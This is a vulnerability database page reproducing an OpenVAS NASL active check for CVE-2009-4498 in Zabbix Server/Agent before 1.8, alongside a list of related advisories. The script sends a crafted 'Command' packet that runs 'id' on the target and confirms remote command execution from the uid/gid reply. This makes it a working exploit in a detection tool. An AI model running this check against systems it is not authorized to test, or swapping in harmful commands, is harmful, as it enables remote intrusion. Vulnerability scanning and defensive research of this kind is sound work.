Lucene search
+L

Zabbix Server/Agent < 1.8 Arbitrary Command Execution Vulnerability - Active Check

🗓️ 28 Jan 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 31 Views

Zabbix Arbitrary Command Execution Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Zabbix Server Arbitrary Command Execution
27 Aug 201200:00
zdt
circl
Circl
CVE-2009-4498
14 Dec 200900:00
circl
cve
CVE
CVE-2009-4498
31 Dec 200918:00
cve
cvelist
Cvelist
CVE-2009-4498
31 Dec 200918:00
cvelist
debiancve
Debian CVE
CVE-2009-4498
31 Dec 200918:00
debiancve
exploitdb
Exploit DB
Zabbix Server - Multiple Vulnerabilities
14 Dec 200900:00
exploitdb
exploitdb
Exploit DB
Zabbix Server - Arbitrary Command Execution (Metasploit)
27 Aug 201200:00
exploitdb
metasploit
Metasploit
Zabbix Server Arbitrary Command Execution
23 Aug 201216:29
metasploit
nvd
NVD
CVE-2009-4498
31 Dec 200918:30
nvd
osv
OSV
DEBIAN-CVE-2009-4498
31 Dec 200918:30
osv
Rows per page
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:zabbix:zabbix";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900226");
  script_version("2025-12-03T05:40:19+0000");
  script_tag(name:"last_modification", value:"2025-12-03 05:40:19 +0000 (Wed, 03 Dec 2025)");
  script_tag(name:"creation_date", value:"2010-01-28 16:24:05 +0100 (Thu, 28 Jan 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-4498");
  script_name("Zabbix Server/Agent < 1.8 Arbitrary Command Execution Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Gain a shell remotely");
  script_dependencies("gb_zabbix_server_agent_tcp_detect.nasl");
  script_require_ports("Services/zabbix", 10050, 10051);
  script_mandatory_keys("zabbix/server_or_agent/tcp/detected");

  script_xref(name:"URL", value:"https://support.zabbix.com/browse/ZBX-1030");
  script_xref(name:"URL", value:"https://web.archive.org/web/20091219213651/http://secunia.com/advisories/37740/3/");
  script_xref(name:"URL", value:"https://web.archive.org/web/20091216211219/http://www.vupen.com/english/advisories/2009/3514");

  script_tag(name:"summary", value:"Zabbix Server/Agent is prone to an arbitrary command execution
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted TCP requests and checks the
  responses.");

  script_tag(name:"insight", value:"This issue is due to an error in the 'node_process_command()'
  function, which can be exploited to execute arbitrary commands via specially crafted data.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute arbitrary
  commands via specially crafted data.");

  script_tag(name:"affected", value:"Zabbix Server/Agent versions prior to 1.8.");

  script_tag(name:"solution", value:"Update to version 1.8 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");

function _req( node, cmd, port ) {

  local_var node, cmd, port;
  local_var soc, host_id, req, recv;

  if( ! soc = open_sock_tcp( port ) )
    return;

  host_id = rand_str( length:3, charset:"1234567890" );

  req = "Command" + raw_string( 0xad ) + node + raw_string( 0xad ) + host_id + raw_string( 0xad ) + cmd + raw_string( 0x0a );
  send( socket:soc,data:req );

  recv = recv( socket:soc, length:1024 );
  close( soc );

  return recv;
}

ports = service_get_ports( default_port_list:make_list( 10050, 10051 ), proto:"zabbix" );

vuln = FALSE;

foreach port( ports ) {
  if( ! get_port_state( port ) )
    continue;

  node = "0";
  cmd = "id";

  recv = _req( node:node, cmd:cmd, port:port );

  if( "-1" >< recv && "NODE" >< recv ) {
    n = eregmatch( pattern:"NODE ([0-9])+", string:recv );
    if( isnull( n[1] ) )
      continue;

    node = string( n[1] );
    recv = _req( node:node, cmd:cmd, port:port );
  }

  if( recv =~ "uid=[0-9]+.*gid=[0-9]+.*" ) {
    vuln = TRUE;
    report = 'It was possible to execute the command "' + cmd + '" at the remote service. Response:\n\n' + recv;
    security_message( port:port, data:report );
  }
}

if( vuln )
  exit( 0 );
else
  exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Dec 2025 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 26.8
EPSS0.31915
31